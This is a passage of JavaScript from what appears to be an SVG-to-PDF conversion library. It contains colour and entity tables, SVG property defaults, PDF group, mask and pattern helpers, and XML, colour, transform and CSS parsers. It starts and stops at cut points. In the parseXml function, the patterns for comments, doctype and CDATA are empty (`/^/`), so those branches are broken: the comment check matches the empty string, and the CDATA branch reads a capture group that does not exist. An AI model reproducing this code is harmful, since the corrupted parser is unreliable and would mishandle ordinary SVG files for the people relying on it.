[50,205,50], linen: [250,240,230], magenta: [255,0,255], maroon: [128,0,0],\r\n mediumaquamarine: [102,205,170], mediumblue: [0,0,205], mediumorchid: [186,85,211], mediumpurple: [147,112,219], mediumseagreen: [60,179,113], mediumslateblue: [123,104,238], mediumspringgreen: [0,250,154], mediumturquoise: [72,209,204], mediumvioletred: [199,21,133], midnightblue: [25,25,112], mintcream: [245,255,250], mistyrose: [255,228,225], moccasin: [255,228,181],\r\n navajowhite: [255,222,173], navy: [0,0,128], oldlace: [253,245,230], olive: [128,128,0], olivedrab: [107,142,35], orange: [255,165,0], orangered: [255,69,0], orchid: [218,112,214], palegoldenrod: [238,232,170], palegreen: [152,251,152], paleturquoise: [175,238,238], palevioletred: [219,112,147], papayawhip: [255,239,213], peachpuff: [255,218,185], peru: [205,133,63],\r\n pink: [255,192,203], plum: [221,160,221], powderblue: [176,224,230], purple: [128,0,128], rebeccapurple: [102,51,153], red: [255,0,0], rosybrown: [188,143,143], royalblue: [65,105,225], saddlebrown: [139,69,19], salmon: [250,128,114], sandybrown: [244,164,96], seagreen: [46,139,87], seashell: [255,245,238], sienna: [160,82,45], silver: [192,192,192], skyblue: [135,206,235],\r\n slateblue: [106,90,205], slategray: [112,128,144], slategrey: [112,128,144], snow: [255,250,250], springgreen: [0,255,127], steelblue: [70,130,180], tan: [210,180,140], teal: [0,128,128], thistle: [216,191,216], tomato: [255,99,71], turquoise: [64,224,208], violet: [238,130,238], wheat: [245,222,179], white: [255,255,255], whitesmoke: [245,245,245], yellow: [255,255,0]};\r\n const DefaultColors = {black: [NamedColors.black, 1], white: [NamedColors.white, 1], transparent: [NamedColors.black, 0]};\r\n const Entities = {quot: 34, amp: 38, lt: 60, gt: 62, apos: 39, OElig: 338, oelig: 339, Scaron: 352, scaron: 353, Yuml: 376, circ: 710, tilde: 732, ensp: 8194, emsp: 8195, thinsp: 8201, zwnj: 8204, zwj: 8205, lrm: 8206, rlm: 8207, ndash: 8211, mdash: 8212, lsquo: 8216, rsquo: 8217, sbquo: 8218, ldquo: 8220, rdquo: 8221, bdquo: 8222, dagger: 8224, Dagger: 8225, permil: 8240, lsaquo: 8249,\r\n rsaquo: 8250, euro: 8364, nbsp: 160, iexcl: 161, cent: 162, pound: 163, curren: 164, yen: 165, brvbar: 166, sect: 167, uml: 168, copy: 169, ordf: 170, laquo: 171, not: 172, shy: 173, reg: 174, macr: 175, deg: 176, plusmn: 177, sup2: 178, sup3: 179, acute: 180, micro: 181, para: 182, middot: 183, cedil: 184, sup1: 185, ordm: 186, raquo: 187, frac14: 188, frac12: 189, frac34: 190,\r\n iquest: 191, Agrave: 192, Aacute: 193, Acirc: 194, Atilde: 195, Auml: 196, Aring: 197, AElig: 198, Ccedil: 199, Egrave: 200, Eacute: 201, Ecirc: 202, Euml: 203, Igrave: 204, Iacute: 205, Icirc: 206, Iuml: 207, ETH: 208, Ntilde: 209, Ograve: 210, Oacute: 211, Ocirc: 212, Otilde: 213, Ouml: 214, times: 215, Oslash: 216, Ugrave: 217, Uacute: 218, Ucirc: 219, Uuml: 220, Yacute: 221,\r\n THORN: 222, szlig: 223, agrave: 224, aacute: 225, acirc: 226, atilde: 227, auml: 228, aring: 229, aelig: 230, ccedil: 231, egrave: 232, eacute: 233, ecirc: 234, euml: 235, igrave: 236, iacute: 237, icirc: 238, iuml: 239, eth: 240, ntilde: 241, ograve: 242, oacute: 243, ocirc: 244, otilde: 245, ouml: 246, divide: 247, oslash: 248, ugrave: 249, uacute: 250, ucirc: 251, uuml: 252,\r\n yacute: 253, thorn: 254, yuml: 255, fnof: 402, Alpha: 913, Beta: 914, Gamma: 915, Delta: 916, Epsilon: 917, Zeta: 918, Eta: 919, Theta: 920, Iota: 921, Kappa: 922, Lambda: 923, Mu: 924, Nu: 925, Xi: 926, Omicron: 927, Pi: 928, Rho: 929, Sigma: 931, Tau: 932, Upsilon: 933, Phi: 934, Chi: 935, Psi: 936, Omega: 937, alpha: 945, beta: 946, gamma: 947, delta: 948, epsilon: 949,\r\n zeta: 950, eta: 951, theta: 952, iota: 953, kappa: 954, lambda: 955, mu: 956, nu: 957, xi: 958, omicron: 959, pi: 960, rho: 961, sigmaf: 962, sigma: 963, tau: 964, upsilon: 965, phi: 966, chi: 967, psi: 968, omega: 969, thetasym: 977, upsih: 978, piv: 982, bull: 8226, hellip: 8230, prime: 8242, Prime: 8243, oline: 8254, frasl: 8260, weierp: 8472, image: 8465, real: 8476,\r\n trade: 8482, alefsym: 8501, larr: 8592, uarr: 8593, rarr: 8594, darr: 8595, harr: 8596, crarr: 8629, lArr: 8656, uArr: 8657, rArr: 8658, dArr: 8659, hArr: 8660, forall: 8704, part: 8706, exist: 8707, empty: 8709, nabla: 8711, isin: 8712, notin: 8713, ni: 8715, prod: 8719, sum: 8721, minus: 8722, lowast: 8727, radic: 8730, prop: 8733, infin: 8734, ang: 8736, and: 8743, or: 8744,\r\n cap: 8745, cup: 8746, int: 8747, there4: 8756, sim: 8764, cong: 8773, asymp: 8776, ne: 8800, equiv: 8801, le: 8804, ge: 8805, sub: 8834, sup: 8835, nsub: 8836, sube: 8838, supe: 8839, oplus: 8853, otimes: 8855, perp: 8869, sdot: 8901, lceil: 8968, rceil: 8969, lfloor: 8970, rfloor: 8971, lang: 9001, rang: 9002, loz: 9674, spades: 9824, clubs: 9827, hearts: 9829, diams: 9830};\r\n const PathArguments = {A: 7, a: 7, C: 6, c: 6, H: 1, h: 1, L: 2, l: 2, M: 2, m: 2, Q: 4, q: 4, S: 4, s: 4, T: 2, t: 2, V: 1, v: 1, Z: 0, z: 0};\r\n const PathFlags = {A3: true, A4: true, a3: true, a4: true};\r\n const Properties = {\r\n 'color': {inherit: true, initial: undefined},\r\n 'visibility': {inherit: true, initial: 'visible', values: {'hidden': 'hidden', 'collapse': 'hidden', 'visible':'visible'}},\r\n 'fill': {inherit: true, initial: DefaultColors.black},\r\n 'stroke': {inherit: true, initial: 'none'},\r\n 'stop-color': {inherit: false, initial: DefaultColors.black},\r\n 'fill-opacity': {inherit: true, initial: 1},\r\n 'stroke-opacity': {inherit: true, initial: 1},\r\n 'stop-opacity': {inherit: false, initial: 1},\r\n 'fill-rule': {inherit: true, initial: 'nonzero', values: {'nonzero':'nonzero', 'evenodd':'evenodd'}},\r\n 'clip-rule': {inherit: true, initial: 'nonzero', values: {'nonzero':'nonzero', 'evenodd':'evenodd'}},\r\n 'stroke-width': {inherit: true, initial: 1},\r\n 'stroke-dasharray': {inherit: true, initial: []},\r\n 'stroke-dashoffset': {inherit: true, initial: 0},\r\n 'stroke-miterlimit': {inherit: true, initial: 4},\r\n 'stroke-linejoin': {inherit: true, initial: 'miter', values: {'miter':'miter', 'round':'round', 'bevel':'bevel'}},\r\n 'stroke-linecap': {inherit: true, initial: 'butt', values: {'butt':'butt', 'round':'round', 'square':'square'}},\r\n 'font-size': {inherit: true, initial: 16, values: {'xx-small':9, 'x-small':10, 'small':13, 'medium':16, 'large':18, 'x-large':24, 'xx-large':32}},\r\n 'font-family': {inherit: true, initial: 'sans-serif'},\r\n 'font-weight': {inherit: true, initial: 'normal', values: {'600':'bold', '700':'bold', '800':'bold', '900':'bold', 'bold':'bold', 'bolder':'bold', '500':'normal', '400':'normal', '300':'normal', '200':'normal', '100':'normal', 'normal':'normal', 'lighter':'normal'}},\r\n 'font-style': {inherit: true, initial: 'normal', values: {'italic':'italic', 'oblique':'italic', 'normal':'normal'}},\r\n 'text-anchor': {inherit: true, initial: 'start', values: {'start':'start', 'middle':'middle', 'end':'end'}},\r\n 'direction': {inherit: true, initial: 'ltr', values: {'ltr':'ltr', 'rtl':'rtl'}},\r\n 'dominant-baseline': {inherit: true, initial: 'baseline', values: {'auto':'baseline', 'baseline':'baseline', 'before-edge':'before-edge', 'text-before-edge':'before-edge', 'middle':'middle', 'central':'central', 'after-edge':'after-edge', 'text-after-edge':'after-edge', 'ideographic':'ideographic', 'alphabetic':'alphabetic', 'hanging':'hanging', 'mathematical':'mathematical'}},\r\n 'alignment-baseline': {inherit: false, initial: undefined, values: {'auto':'baseline', 'baseline':'baseline', 'before-edge':'before-edge', 'text-before-edge':'before-edge', 'middle':'middle', 'central':'central', 'after-edge':'after-edge', 'text-after-edge':'after-edge', 'ideographic':'ideographic', 'alphabetic':'alphabetic', 'hanging':'hanging', 'mathematical':'mathematical'}},\r\n 'baseline-shift': {inherit: true, initial: 'baseline', values: {'baseline':'baseline', 'sub':'sub', 'super':'super'}},\r\n 'word-spacing': {inherit: true, initial: 0, values: {normal:0}},\r\n 'letter-spacing': {inherit: true, initial: 0, values: {normal:0}},\r\n 'text-decoration': {inherit: false, initial: 'none', values: {'none':'none', 'underline':'underline', 'overline':'overline', 'line-through':'line-through'}},\r\n 'xml:space': {inherit: true, initial: 'default', css: 'white-space', values: {'preserve':'preserve', 'default':'default', 'pre':'preserve', 'pre-line':'preserve', 'pre-wrap':'preserve', 'nowrap': 'default'}},\r\n 'marker-start': {inherit: true, initial: 'none'},\r\n 'marker-mid': {inherit: true, initial: 'none'},\r\n 'marker-end': {inherit: true, initial: 'none'},\r\n 'opacity': {inherit: false, initial: 1},\r\n 'transform': {inherit: false, initial: [1, 0, 0, 1, 0, 0]},\r\n 'display': {inherit: false, initial: 'inline', values: {'none':'none', 'inline':'inline', 'block':'inline'}},\r\n 'clip-path': {inherit: false, initial: 'none'},\r\n 'mask': {inherit: false, initial: 'none'},\r\n 'overflow': {inherit: false, initial: 'hidden', values: {'hidden':'hidden', 'scroll':'hidden', 'visible':'visible'}}\r\n };\r\n\r\n function docBeginGroup(bbox) {\r\n let group = new (function PDFGroup() {})();\r\n group.name = 'G' + (doc._groupCount = (doc._groupCount || 0) + 1);\r\n group.resources = doc.ref();\r\n group.xobj = doc.ref({\r\n Type: 'XObject',\r\n Subtype: 'Form',\r\n FormType: 1,\r\n BBox: bbox,\r\n Group: {S: 'Transparency', CS: 'DeviceRGB', I: true, K: false},\r\n Resources: group.resources\r\n });\r\n group.xobj.write('');\r\n group.savedMatrix = doc._ctm;\r\n group.savedPage = doc.page;\r\n groupStack.push(group);\r\n doc._ctm = [1, 0, 0, 1, 0, 0];\r\n doc.page = {\r\n width: doc.page.width, height: doc.page.height,\r\n write: function(data) {group.xobj.write(data);},\r\n fonts: {}, xobjects: {}, ext_gstates: {}, patterns: {}\r\n };\r\n return group;\r\n }\r\n function docEndGroup(group) {\r\n if (group !== groupStack.pop()) {throw('Group not matching');}\r\n if (Object.keys(doc.page.fonts).length) {group.resources.data.Font = doc.page.fonts;}\r\n if (Object.keys(doc.page.xobjects).length) {group.resources.data.XObject = doc.page.xobjects;}\r\n if (Object.keys(doc.page.ext_gstates).length) {group.resources.data.ExtGState = doc.page.ext_gstates;}\r\n if (Object.keys(doc.page.patterns).length) {group.resources.data.Pattern = doc.page.patterns;}\r\n group.resources.end();\r\n group.xobj.end();\r\n doc._ctm = group.savedMatrix;\r\n doc.page = group.savedPage;\r\n }\r\n function docInsertGroup(group) {\r\n doc.page.xobjects[group.name] = group.xobj;\r\n doc.addContent('/' + group.name + ' Do');\r\n }\r\n function docApplyMask(group, clip) {\r\n let name = 'M' + (doc._maskCount = (doc._maskCount || 0) + 1);\r\n let gstate = doc.ref({\r\n Type: 'ExtGState', CA: 1, ca: 1, BM: 'Normal',\r\n SMask: {S: 'Luminosity', G: group.xobj, BC: (clip ? [0, 0, 0] : [1, 1, 1])}\r\n });\r\n gstate.end();\r\n doc.page.ext_gstates[name] = gstate;\r\n doc.addContent('/' + name + ' gs');\r\n }\r\n function docCreatePattern(group, dx, dy, matrix) {\r\n let pattern = new (function PDFPattern() {})();\r\n pattern.group = group;\r\n pattern.dx = dx;\r\n pattern.dy = dy;\r\n pattern.matrix = matrix || [1, 0, 0, 1, 0, 0];\r\n return pattern;\r\n }\r\n function docUsePattern(pattern, stroke) {\r\n let name = 'P' + (doc._patternCount = (doc._patternCount || 0) + 1);\r\n let ref = doc.ref({\r\n Type: 'Pattern', PatternType: 1, PaintType: 1, TilingType: 2,\r\n BBox: [0, 0, pattern.dx, pattern.dy], XStep: pattern.dx, YStep: pattern.dy,\r\n Matrix: multiplyMatrix(doc._ctm, pattern.matrix),\r\n Resources: {\r\n ProcSet: ['PDF', 'Text', 'ImageB', 'ImageC', 'ImageI'],\r\n XObject: (function() {let temp = {}; temp[pattern.group.name] = pattern.group.xobj; return temp;})()\r\n }\r\n });\r\n ref.write('/' + pattern.group.name + ' Do');\r\n ref.end();\r\n doc.page.patterns[name] = ref;\r\n if (stroke) {\r\n doc.addContent('/Pattern CS');\r\n doc.addContent('/' + name + ' SCN');\r\n } else {\r\n doc.addContent('/Pattern cs');\r\n doc.addContent('/' + name + ' scn');\r\n }\r\n }\r\n function docBeginText(font, size) {\r\n if (!doc.page.fonts[font.id]) {doc.page.fonts[font.id] = font.ref();}\r\n doc.addContent('BT').addContent('/' + font.id + ' ' + size + ' Tf');\r\n }\r\n function docSetTextMatrix(a, b, c, d, e, f) {\r\n doc.addContent(validateNumber(a) + ' ' + validateNumber(b) + ' ' + validateNumber(-c) + ' ' + validateNumber(-d) + ' ' + validateNumber(e) + ' ' + validateNumber(f) + ' Tm');\r\n }\r\n function docSetTextMode(fill, stroke) {\r\n let mode = fill && stroke ? 2 : stroke ? 1 : fill ? 0 : 3;\r\n doc.addContent(mode + ' Tr');\r\n }\r\n function docWriteGlyph(glyph) {\r\n doc.addContent('<' + glyph + '> Tj');\r\n }\r\n function docEndText() {\r\n doc.addContent('ET');\r\n }\r\n function docFillColor(color) {\r\n if (color[0].constructor.name === 'PDFPattern') {\r\n doc.fillOpacity(color[1]);\r\n docUsePattern(color[0], false);\r\n } else {\r\n doc.fillColor(color[0], color[1]);\r\n }\r\n }\r\n function docStrokeColor(color) {\r\n if (color[0].constructor.name === 'PDFPattern') {\r\n doc.strokeOpacity(color[1]);\r\n docUsePattern(color[0], true);\r\n } else {\r\n doc.strokeColor(color[0], color[1]);\r\n }\r\n }\r\n function docInsertLink(x, y, w, h, url) {\r\n let ref = doc.ref({\r\n Type: 'Annot',\r\n Subtype: 'Link',\r\n Rect: [x, y, w, h],\r\n Border: [0, 0, 0],\r\n A: {\r\n S: 'URI',\r\n URI: new String(url)\r\n }\r\n });\r\n ref.end();\r\n links.push(ref);\r\n }\r\n function parseXml(xml) {\r\n let SvgNode = function(tag, type, value, error) {\r\n this.error = error;\r\n this.nodeName = tag;\r\n this.nodeValue = value;\r\n this.nodeType = type;\r\n this.attributes = Object.create(null);\r\n this.childNodes = [];\r\n this.parentNode = null;\r\n this.id = '';\r\n this.textContent = '';\r\n this.classList = [];\r\n };\r\n SvgNode.prototype.getAttribute = function(attr) {\r\n return this.attributes[attr] != null ? this.attributes[attr] : null;\r\n };\r\n SvgNode.prototype.getElementById = function(id) {\r\n let result = null;\r\n (function recursive(node) {\r\n if (result) {return;}\r\n if (node.nodeType === 1) {\r\n if (node.id === id) {result = node;}\r\n for (let i = 0; i < node.childNodes.length; i++) {\r\n recursive(node.childNodes[i]);\r\n }\r\n }\r\n })(this);\r\n return result;\r\n };\r\n SvgNode.prototype.getElementsByTagName = function(tag) {\r\n let result = [];\r\n (function recursive(node) {\r\n if (node.nodeType === 1) {\r\n if (node.nodeName === tag) {result.push(node);}\r\n for (let i = 0; i < node.childNodes.length; i++) {\r\n recursive(node.childNodes[i]);\r\n }\r\n }\r\n })(this);\r\n return result;\r\n };\r\n let parser = new StringParser(xml.trim()), result, child, error = false; \r\n let recursive = function() {\r\n let temp, child;\r\n if (temp = parser.match(/^<([\\w:.-]+)\\s*/, true)) { // Opening tag\r\n let node = new SvgNode(temp[1], 1, null, error);\r\n while (temp = parser.match(/^([\\w:.-]+)(?:\\s*=\\s*\"([^\"]*)\"|\\s*=\\s*'([^']*)')?\\s*/, true)) { // Attribute\r\n let attr = temp[1], value = decodeEntities(temp[2] || temp[3] || '');\r\n if (!node.attributes[attr]) {\r\n node.attributes[attr] = value;\r\n if (attr === 'id') {node.id = value;}\r\n if (attr === 'class') {node.classList = value.split(' ');}\r\n } else {\r\n warningCallback('parseXml: duplicate attribute \"' + attr + '\"');\r\n error = true;\r\n }\r\n }\r\n if (parser.match(/^>/)) { // End of opening tag\r\n while (child = recursive()) {\r\n node.childNodes.push(child);\r\n child.parentNode = node;\r\n node.textContent += (child.nodeType === 3 || child.nodeType === 4 ? child.nodeValue : child.textContent);\r\n }\r\n if (temp = parser.match(/^<\\/([\\w:.-]+)\\s*>/, true)) { // Closing tag\r\n if (temp[1] === node.nodeName) {\r\n return node;\r\n } else {\r\n warningCallback('parseXml: tag not matching, opening \"' + node.nodeName + '\" & closing \"' + temp[1] + '\"');\r\n error = true;\r\n return node;\r\n }\r\n } else {\r\n warningCallback('parseXml: tag not matching, opening \"' + node.nodeName + '\" & not closing');\r\n error = true;\r\n return node;\r\n }\r\n } else if (parser.match(/^\\/>/)) { // Self-closing tag\r\n return node;\r\n } else {\r\n warningCallback('parseXml: tag could not be parsed \"' + node.nodeName + '\"');\r\n error = true;\r\n }\r\n } else if (temp = parser.match(/^/)) { // Comment\r\n return new SvgNode(null, 8, temp, error);\r\n } else if (temp = parser.match(/^<\\?[\\s\\S]*?\\?>/)) { // Processing instructions\r\n return new SvgNode(null, 7, temp, error);\r\n } else if (temp = parser.match(/^/)) { // Doctype\r\n return new SvgNode(null, 10, temp, error);\r\n } else if (temp = parser.match(/^/, true)) { // Cdata node\r\n return new SvgNode('#cdata-section', 4, temp[1], error);\r\n } else if (temp = parser.match(/^([^<]+)/, true)) { // Text node\r\n return new SvgNode('#text', 3, decodeEntities(temp[1]), error);\r\n }\r\n };\r\n while (child = recursive()) {\r\n if (child.nodeType === 1 && !result) {\r\n result = child;\r\n } else if (child.nodeType === 1 || (child.nodeType === 3 && child.nodeValue.trim() !== '')) {\r\n warningCallback('parseXml: data after document end has been discarded');\r\n }\r\n }\r\n if (parser.matchAll()) {\r\n warningCallback('parseXml: parsing error');\r\n }\r\n return result;\r\n };\r\n function decodeEntities(str) {\r\n return(str.replace(/&(?:#([0-9]+)|#[xX]([0-9A-Fa-f]+)|([0-9A-Za-z]+));/g, function(mt, m0, m1, m2) {\r\n if (m0) {return String.fromCharCode(parseInt(m0, 10));}\r\n else if (m1) {return String.fromCharCode(parseInt(m1, 16));}\r\n else if (m2 && Entities[m2]) {return String.fromCharCode(Entities[m2]);}\r\n else {return mt;}\r\n }));\r\n }\r\n function parseColor(raw) {\r\n let temp, result;\r\n raw = (raw || '').trim();\r\n if (temp = NamedColors[raw]) {\r\n result = [temp.slice(), 1];\r\n } else if (temp = raw.match(/^rgba\\(\\s*([0-9]+)\\s*,\\s*([0-9]+)\\s*,\\s*([0-9]+)\\s*,\\s*([0-9.]+)\\s*\\)$/i)) {\r\n temp[1] = parseInt(temp[1]); temp[2] = parseInt(temp[2]); temp[3] = parseInt(temp[3]); temp[4] = parseFloat(temp[4]);\r\n if (temp[1] < 256 && temp[2] < 256 && temp[3] < 256 && temp[4] <= 1) {\r\n result = [temp.slice(1, 4), temp[4]];\r\n }\r\n } else if (temp = raw.match(/^rgb\\(\\s*([0-9]+)\\s*,\\s*([0-9]+)\\s*,\\s*([0-9]+)\\s*\\)$/i)) {\r\n temp[1] = parseInt(temp[1]); temp[2] = parseInt(temp[2]); temp[3] = parseInt(temp[3]);\r\n if (temp[1] < 256 && temp[2] < 256 && temp[3] < 256) {\r\n result = [temp.slice(1, 4), 1];\r\n }\r\n } else if (temp = raw.match(/^rgb\\(\\s*([0-9.]+)%\\s*,\\s*([0-9.]+)%\\s*,\\s*([0-9.]+)%\\s*\\)$/i)) {\r\n temp[1] = 2.55 * parseFloat(temp[1]); temp[2] = 2.55 * parseFloat(temp[2]); temp[3] = 2.55 * parseFloat(temp[3]);\r\n if (temp[1] < 256 && temp[2] < 256 && temp[3] < 256) {\r\n result = [temp.slice(1, 4), 1];\r\n }\r\n } else if (temp = raw.match(/^#([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/i)) {\r\n result = [[parseInt(temp[1], 16), parseInt(temp[2], 16), parseInt(temp[3], 16)], 1];\r\n } else if (temp = raw.match(/^#([0-9a-f])([0-9a-f])([0-9a-f])$/i)) {\r\n result = [[0x11 * parseInt(temp[1], 16), 0x11 * parseInt(temp[2], 16), 0x11 * parseInt(temp[3], 16)], 1];\r\n }\r\n return colorCallback ? colorCallback(result, raw) : result;\r\n }\r\n function opacityToColor(color, opacity, isMask) {\r\n let newColor = color[0].slice(),\r\n newOpacity = color[1] * opacity;\r\n if (isMask) {\r\n for (let i = 0; i < color.length; i++) {\r\n newColor[i] *= newOpacity;\r\n }\r\n return [newColor, 1];\r\n } else {\r\n return [newColor, newOpacity];\r\n }\r\n }\r\n function multiplyMatrix() {\r\n function multiply(a, b) {\r\n return [ a[0]*b[0]+a[2]*b[1], a[1]*b[0]+a[3]*b[1], a[0]*b[2]+a[2]*b[3],\r\n a[1]*b[2]+a[3]*b[3], a[0]*b[4]+a[2]*b[5]+a[4], a[1]*b[4]+a[3]*b[5]+a[5] ];\r\n }\r\n let result = arguments[0];\r\n for (let i = 1; i < arguments.length; i++) {\r\n result = multiply(result, arguments[i]);\r\n }\r\n return result;\r\n }\r\n function transformPoint(p, m) {\r\n return [m[0] * p[0] + m[2] * p[1] + m[4], m[1] * p[0] + m[3] * p[1] + m[5]];\r\n }\r\n function getGlobalMatrix() {\r\n let ctm = doc._ctm;\r\n for (let i = groupStack.length - 1; i >= 0; i--) {\r\n ctm = multiplyMatrix(groupStack[i].savedMatrix, ctm);\r\n }\r\n return ctm;\r\n }\r\n function getPageBBox() {\r\n return new SvgShape().M(0, 0).L(doc.page.width, 0).L(doc.page.width, doc.page.height).L(0, doc.page.height)\r\n .transform(inverseMatrix(getGlobalMatrix())).getBoundingBox();\r\n }\r\n function inverseMatrix(m) {\r\n let dt = m[0] * m[3] - m[1] * m[2];\r\n return [m[3] / dt, -m[1] / dt, -m[2] / dt, m[0] / dt, (m[2]*m[5] - m[3]*m[4]) / dt, (m[1]*m[4] - m[0]*m[5]) / dt];\r\n }\r\n function validateMatrix(m) {\r\n let m0 = validateNumber(m[0]), m1 = validateNumber(m[1]), m2 = validateNumber(m[2]),\r\n m3 = validateNumber(m[3]), m4 = validateNumber(m[4]), m5 = validateNumber(m[5]);\r\n if (isNotEqual(m0 * m3 - m1 * m2, 0)) {\r\n return [m0, m1, m2, m3, m4, m5];\r\n }\r\n }\r\n function solveEquation(curve) {\r\n let a = curve[2] || 0, b = curve[1] || 0, c = curve[0] || 0;\r\n if (isEqual(a, 0) && isEqual(b, 0)) {\r\n return [];\r\n } else if (isEqual(a, 0)) {\r\n return [(-c) / b];\r\n } else {\r\n let d = b * b - 4 * a * c;\r\n if (isNotEqual(d, 0) && d > 0) {\r\n return [(-b + Math.sqrt(d)) / (2 * a), (-b - Math.sqrt(d)) / (2 * a)];\r\n } else if (isEqual(d, 0)) {\r\n return [(-b) / (2 * a)];\r\n } else {\r\n return [];\r\n }\r\n }\r\n }\r\n function getCurveValue(t, curve) {\r\n return (curve[0] || 0) + (curve[1] || 0) * t + (curve[2] || 0) * t * t + (curve[3] || 0) * t * t * t;\r\n }\r\n function isEqual(number, ref) {\r\n return Math.abs(number - ref) < 1e-10;\r\n }\r\n function isNotEqual(number, ref) {\r\n return Math.abs(number - ref) >= 1e-10;\r\n }\r\n function validateNumber(n) {\r\n return n > -1e21 && n < 1e21 ? Math.round(n * 1e6) / 1e6 : 0;\r\n }\r\n function isArrayLike(v) {\r\n return typeof v === 'object' && v !== null && typeof v.length === 'number';\r\n }\r\n function parseTranform(v) {\r\n let parser = new StringParser((v || '').trim()), result = [1, 0, 0, 1, 0, 0], temp;\r\n while (temp = parser.match(/^([A-Za-z]+)\\s*[(]([^(]+)[)]/, true)) {\r\n let func = temp[1], nums = [], parser2 = new StringParser(temp[2].trim()), temp2;\r\n while (temp2 = parser2.matchNumber()) {\r\n nums.push(Number(temp2));\r\n parser2.matchSeparator();\r\n }\r\n if (func === 'matrix' && nums.length === 6) {\r\n result = multiplyMatrix(result, [nums[0], nums[1], nums[2], nums[3], nums[4], nums[5]]);\r\n } else if (func === 'translate' && nums.length === 2) {\r\n result = multiplyMatrix(result, [1, 0, 0, 1, nums[0], nums[1]]);\r\n } else if (func === 'translate' && nums.length === 1) {\r\n result = multiplyMatrix(result, [1, 0, 0, 1, nums[0], 0]);\r\n } else if (func === 'scale' && nums.length === 2) {\r\n result = multiplyMatrix(result, [nums[0], 0, 0, nums[1], 0, 0]);\r\n } else if (func === 'scale' && nums.length === 1) {\r\n result = multiplyMatrix(result, [nums[0], 0, 0, nums[0], 0, 0]);\r\n } else if (func === 'rotate' && nums.length === 3) {\r\n let a = nums[0] * Math.PI / 180;\r\n result = multiplyMatrix(result, [1, 0, 0, 1, nums[1], nums[2]], [Math.cos(a), Math.sin(a), -Math.sin(a), Math.cos(a), 0, 0], [1, 0, 0, 1, -nums[1], -nums[2]]);\r\n } else if (func === 'rotate' && nums.length === 1) {\r\n let a = nums[0] * Math.PI / 180;\r\n result = multiplyMatrix(result, [Math.cos(a), Math.sin(a), -Math.sin(a), Math.cos(a), 0, 0]);\r\n } else if (func === 'skewX' && nums.length === 1) {\r\n let a = nums[0] * Math.PI / 180;\r\n result = multiplyMatrix(result, [1, 0, Math.tan(a), 1, 0, 0]);\r\n } else if (func === 'skewY' && nums.length === 1) {\r\n let a = nums[0] * Math.PI / 180;\r\n result = multiplyMatrix(result, [1, Math.tan(a), 0, 1, 0, 0]);\r\n } else {return;}\r\n parser.matchSeparator();\r\n }\r\n if (parser.matchAll()) {return;}\r\n return result;\r\n }\r\n function parseAspectRatio(aspectRatio, availWidth, availHeight, elemWidth, elemHeight, initAlign) {\r\n let temp = (aspectRatio || '').trim().match(/^(none)$|^x(Min|Mid|Max)Y(Min|Mid|Max)(?:\\s+(meet|slice))?$/) || [],\r\n ratioType = temp[1] || temp[4] || 'meet',\r\n xAlign = temp[2] || 'Mid',\r\n yAlign = temp[3] || 'Mid',\r\n scaleX = availWidth / elemWidth,\r\n scaleY = availHeight / elemHeight,\r\n dx = {'Min':0, 'Mid':0.5, 'Max':1}[xAlign] - (initAlign || 0),\r\n dy = {'Min':0, 'Mid':0.5, 'Max':1}[yAlign] - (initAlign || 0);\r\n if (ratioType === 'slice') {\r\n scaleY = scaleX = Math.max(scaleX, scaleY);\r\n } else if (ratioType === 'meet') {\r\n scaleY = scaleX = Math.min(scaleX, scaleY);\r\n }\r\n return [scaleX, 0, 0, scaleY, dx * (availWidth - elemWidth * scaleX), dy * (availHeight - elemHeight * scaleY)];\r\n }\r\n function parseStyleAttr(v) {\r\n let result = Object.create(null);\r\n v = (v || '').trim().split(/;/);\r\n for (let i = 0; i < v.length; i++) {\r\n let key = (v[i].split(':')[0] || '').trim(),\r\n value = (v[i].split(':')[1] || '').trim();\r\n if (key) {\r\n result[key] = value;\r\n }\r\n }\r\n if (result['marker']) {\r\n if (!result['marker-start']) {result['marker-start'] = result['marker'];}\r\n if (!result['marker-mid']) {result['marker-mid'] = result['marker'];}\r\n if (!result['marker-end']) {result['marker-end'] = result['marker'];}\r\n }\r\n if (result['font']) {\r\n let fontFamily = null, fontSize = null, fontStyle = \"normal\", fontWeight = \"normal\", fontVariant = \"normal\";\r\n let parts = result['font'].split(/\\s+/);\r\n for (let i = 0; i < parts.length; i++) {\r\n switch (parts[i]) {\r\n case \"normal\":\r\n break;\r\n case \"italic\": case \"oblique\":\r\n fontStyle = parts[i];\r\n break;\r\n case \"small-caps\":\r\n fontVariant = parts[i];\r\n break;\r\n case \"bold\": case \"bolder\": case \"lighter\": case \"100\": case \"200\": case \"300\":\r\n case \"400\": case \"500\": case \"600\": case \"700\": case \"800\": case \"900\":\r\n fontWeight = parts[i];\r\n break;\r\n default:\r\n if (!fontSize) {\r\n fontSize = parts[i].split('/')[0];\r\n } else {\r\n if (!fontFamily) {\r\n fontFamily = parts[i];\r\n } else {\r\n fontFamily += ' ' + parts[i];\r\n }\r\n }\r\n break;\r\n }\r\n }\r\n if (!result['font-style']) {result['font-style'] = fontStyle;}\r\n if (!result['font-variant']) {result['font-variant'] = fontVariant;}\r\n if (!result['font-weight']) {result['font-weight'] = fontWeight;}\r\n if (!result['font-size']) {result['font-size'] = fontSize;}\r\n if (!result['font-family']) {result['font-family'] = fontFamily;}\r\n }\r\n return result;\r\n }\r\n function parseSelector(v) {\r\n let parts = v.split(/(?=[.#])/g), ids = [], classes = [], tags = [], temp;\r\n for (let i = 0; i < parts.length; i++) {\r\n if (temp = parts[i].match(/^[#]([_A-Za-z0-9-]+)$/)) {\r\n ids.push(temp[1]);\r\n } else if (temp = parts[i].match(/^[.]([_A-Za-z0-9-]+)$/)) {\r\n classes.push(temp[1]);\r\n } else if (temp = parts[i].match(/^([_A-Za-z0-9-]+)$/)) {\r\n tags.push(temp[1]);\r\n } else if (parts[i] !== '*') {\r\n return;\r\n }\r\n }\r\n return {\r\n tags: tags, ids: ids, classes: classes,\r\n specificity: ids.length * 10000 + classes.length * 100 + tags.length\r\n };\r\n }\r\n function parseStyleSheet(v) {\r\n let parser = new StringParser(v.trim()), rules = [], rule;\r\n while (rule = parser.match(/^\\s*([^\\{\\}]*?)\\s*\\{([^\\{\\}]*?)\\}/, true)) {\r\n let selectors = rule[1].split(/\\s*,\\s*/g),\r\n css = parseStyleAttr(rule[2]);\r\n for (let i = 0; i < selectors.length; i++) {\r\n let selector = parseSelector(selectors[i]);\r\n if (selector) {\r\n rules.push({selector: selector, css:css});\r\n }\r\n }\r\n }\r\n return rules;\r\n }\r\n function matchesSelector(elem, selector) {\r\n if (elem.nodeType !== 1) {return false;}\r\n for (let i = 